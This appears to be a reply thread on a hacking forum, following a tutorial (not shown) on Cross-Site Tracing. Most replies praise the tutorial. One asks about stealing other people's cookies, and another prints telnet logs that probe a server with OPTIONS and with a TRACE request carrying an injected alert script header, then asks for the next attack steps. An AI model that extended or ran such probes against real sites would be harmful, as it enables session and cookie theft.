[WhiteHatMaster]

Can you put this on your own webserver to get other peoples cookies for different websites?

[R3verse]

Dear OP,

Well there we have it.. Right on the spot.
Many people questions thoese things these days, when they fire up Nessus or something simillary..
Well they are cabeable of doing more than XST, but they do not know how to - regarding to the novices.

Anyways, you deserve a pad on the shoulder for lay out these details man.
I'm studying Java programming atm, and can follow you througout the tut though..
If you got the feeling in OOA/D and how to handle it.. pff, every task is a minor glitch of payment.

Keep the fire going man..

Sincerely,

[razem]

Very nice, I have never seen/heard of this before. Nice job.

[zinquw]

Thanks for sharing! Great tutorial! Cheers!

[Anarkhos]

Very nice tut. Simple / looks nice. First time I've heard about it.

I find it amazing that you still give back to the HF community even after what you went trough. You get a high-five from me.
You are a REAL HQ member.

[Catzbow]

It's really a nice tutorial. I finished to read it before a few minutes.
Thank you.

[Th3PonyWizard]

Didn't you like, got arrested or something?
In any way, nice write up ^^

[Scooby Doo.]

This is a very HQ tutorial, thanks for sharing buddy.

[D-M-C]

very nice tutorial thanks in advance

[jeetjain2345]

Nice tutorial but I tried it and not understood completely, how to use addon and how to make req, through telnet I checked trace is enable but don't know what to do next if any short example of this kind of attack will be helpful.One more question XSS should be in website for this kind of attack
Below posting logs what I had tried up-to now
telnet www.target.com 80
OPTIONS / HTTP/1.1
Host: www.target.com

I got response like this with the above request.
HTTP/1.1 200 OK
Date: Thu, 11 Apr 2013 09:55:12 GMT
Server: Apache/2.0.49 (Fedora)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Content-Type: application/x-httpd-php

Than I tried this request.
telnet www.target.com 80

TRACE / HTTP/1.1
Content-Type: text/html; <script>alert('xss');</script>
Host: www.target.com
And response was this.
HTTP/1.1 200 OK
Date: Thu, 11 Apr 2013 09:56:57 GMT
Server: Apache/2.0.49 (Fedora)
Transfer-Encoding: chunked
Content-Type: message/http

6e
TRACE / HTTP/1.1
Content-Type: text/html; <script>alert('xss');</script>
Host: www.target.com

host name has been changed as target

hope u will post what steps should be after this,I am asking also for learning purpose too.

Thanks in advance